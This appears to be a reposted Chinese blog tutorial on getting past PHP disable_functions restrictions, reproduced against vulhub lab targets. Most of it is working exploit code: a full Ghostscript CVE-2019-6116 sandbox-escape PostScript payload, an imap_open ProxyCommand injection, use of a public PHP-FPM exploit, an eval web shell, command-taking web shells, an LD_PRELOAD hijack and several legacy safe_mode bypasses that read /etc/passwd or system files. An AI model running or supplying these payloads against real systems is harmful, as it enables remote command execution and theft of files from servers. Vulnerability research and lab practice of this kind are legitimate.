CVE-2019-6116:2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。

漏洞利用条件

•GhostScript 版本 < 9.26

靶场环境

项目地址:https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116

靶场突破

构造payload:exp.png

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
    (Stage 11: Exploitation...)=
    /forceput exch def
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
    % update
    save restore
    % All done.
    stop
} def
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command...)= flush
% run command
(%pipe%cat /etc/passwd > /var/www/html/res.txt) (w) file closefile
(All done.)=
quit

作者给出了POC,上传这个文件,即可执行cat /etc/passwd > /var/www/html/res.txt

利用 PHP imap_open RCE 漏洞 (CVE-2018-19518)

漏洞简介

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

漏洞利用条件

•Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html•Debian https://security-tracker.debian.org/tracker/CVE-2018-19518•Red Hat https://access.redhat.com/security/cve/cve-2018-19518•SUSE https://www.suse.com/security/cve/CVE-2018-19518/

这个漏洞出现在较老的PHP版本中,PHP官方针对7.1.x在7.1.25版本发布时修复了 CVE-2018-19518 漏洞。

靶场环境

项目地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518

进入靶场并在Web目录中写入WebShell:

<?php @eval($_POST['hacker']); ?>

该漏洞执行的结果是无回显的,为了保存查看执行后的命令回显的数据,这里将Web目录的所属改为www-data

chown -R www-data:www-data /var/www/html

具体的环境配置与漏洞复现过程可以参考FreeBuf的这篇文章:

https://www.freebuf.com/vuls/192712.html

靶场突破

payload:

<?php
$payload = "cat /etc/passwd >/var/www/html/res.txt";
$base64 = base64_encode($payload);
$server = "x -oProxyCommand=echo\t{$base64}|base64\t-d|sh";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

将payload代码部分进行URL编码:

$payload%20=%20%22cat%20/etc/passwd%20%3E/var/www/html/res.txt%22;%0A$base64%20=%20base64_encode($payload);%0A$server%20=%20%22x%20-oProxyCommand=echo%5Ct%7B$base64%7D%7Cbase64%5Ct-d%7Csh%22;%0A@imap_open('%7B'.$server.'%7D:143/imap%7DINBOX',%20'',%20'')%20or%20die(%22%5Cn%5CnError:%20%22.imap_last_error());

在WebShell中提交即可执行命令。图片

利用Nginx+PHP-fpm RCE 漏洞 (CVE-2019-11043)

漏洞简介

2019年10月23日,github公开漏洞相关的详情以及exp。当nginx配置不当时,会导致php-fpm远程任意代码执行。

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,同时slen可控,从而触发该漏洞。

漏洞利用条件

•Linux系统•Nginx + PHP-FPM•PHP 版本•PHP 7.0.X•PHP 7.1.X < 7.1.33•PHP 7.2.X < 7.2.24•PHP 7.3.X < 7.3.11•Nginx特定配置(如下)

location ~ [^/]\.php(/|$) {
 ...
 fastcgi_split_path_info ^(.+?\.php)(/.*)$;
 fastcgi_param PATH_INFO $fastcgi_path_info;
 fastcgi_pass   php:9000;
 ...
}

靶场环境

项目地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

靶场突破

下载github上公开的exp(需要go环境)。

go get github.com/neex/phuip-fpizdam

然后编译

go install github.com/neex/phuip-fpizdam

使用exp攻击靶场网站

./phuip-fpizdam http://192.168.43.187:8080/index.php

攻击成功,可以直接执行命令。

其它绕过方法

以下方法由于很多都是针对旧版本的PHP,有些需要加载特殊的第三方扩展,就不具体讲解了,有兴趣的小伙伴可以自己去复现。

PHP5 pcntl_exec()

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
 
$arg = array($cmd, $option, $dir);
 
pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out";
    pcntl_exec("/bin/bash", $cmd);
    echo file_get_contents("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

PHP proc_open()

a.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;
unsetenv("LD_PRELOAD");
a=fopen(".comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a);
rename("a.so","b.so");
system(buf);
system("mv output.txt .comm1");
rename("b.so","a.so");
free(buf);
return 0;
}

evil.php:

<?php
$path="/var/www"; //change to your writable path
$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
$descriptorspec = array(
 0 => array("pipe", "r"),
 1 => array("file", $path."/output.txt","w"),
 2 => array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
echo "</pre>";
?>

PHP 5.2.3 win32std Extension

<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//Thanks to rgod for all his precious advises :)
//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

PHP Perl Extension

<?php
 
##########################################################
###----------------------------------------------------###
###----PHP Perl Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################
 
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"
 
?>

PHP 5.2.4 ionCube extension

<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
 
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
 
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
 
//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com
 
//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile
 
//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)
 
//greetz to: BlackLight for help me to understand better PHP
 
//P.S.
//This extension contains even an interesting ioncube_write_file function...
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path = str_repeat("..\\", 20);
$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
echo $MyBoot_readfile;
echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>

PHP <=5.2.9 (Windows x86) Safe_mode Bypass Vulnerability

<?php
//cmd.php
/*
    Abysssec Inc Public Advisory 
    
    Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
    the problem comes from OS behavior - implement  and interfacing between php
    and operation systems directory structure . the problem is php won't tell difference 
    between directory browsing in linux and windows this can lead attacker to ability 
    execute his / her commands on targert machie even in SafeMod On  (php.ini setting) . 
    =============================================================================
    in linux when you want open a directory for example php directory you need
    to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
    diffence between slash and back slash it means there is no didffrence  between 
    c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple 
    php implement "\" character can escape safemode using  function like excec . 
    here is a PoC for discussed vulnerability . just upload files on your target host and execute
    your commands . 
    ==============================================================================
    note : this vulnerabities is just for educational purpose and author will be not be responsible  
    for any damage using this vulnerabilty. 
    ==============================================================================
    for more information visit Abysssec.com
    feel free to contact me at admin [at] abysssec.com
*/
    $cmd = $_REQUEST['cmd'];
    if ($cmd){
    $batch = fopen ("cmd.bat","w");
    fwrite($batch,"$cmd>abysssec.txt"."\r\n");
    fwrite($batch,"exit");
    fclose($batch);
    exec("\start cmd.bat");
    echo "<center>";
    echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
    echo "<textarea rows=20 cols=60>";
    require("abysssec.txt");
    echo "</textarea>";
    echo "</center>";
    }
?>
<html>
<body bgcolor=#000000 and text=#DO0000>
<center>
<form method=post>
<input type=text name=cmd >
<input type=submit value=bypass>
</form>
</center>
</body>
</html>

PHP 5.2 FOpen Safe_mode Restriction Bypass Vulnerability

source: https://www.securityfocus.com/bid/22261/info
PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write files in unauthorized locations; other attacks may also be possible.
This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, all assuming that the 'safe_mode' restriction will isolate users from each other.
This issue is reported to affect PHP version 5.2.0; other versions may also be vulnerable. 
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' 

PHP 5.2.4 and 5.2.5 PHP cURL Safe_mode Bypass Vulnerability

source: http://www.securityfocus.com/bid/27413/info
 
PHP cURL is prone to a 'safe mode' security-bypass vulnerability.
 
Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.
 
The issue affects PHP 5.2.5 and 5.2.4. 
 
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));

转自:hack学习呀

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 突破disable_functions限制执行命令·下

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏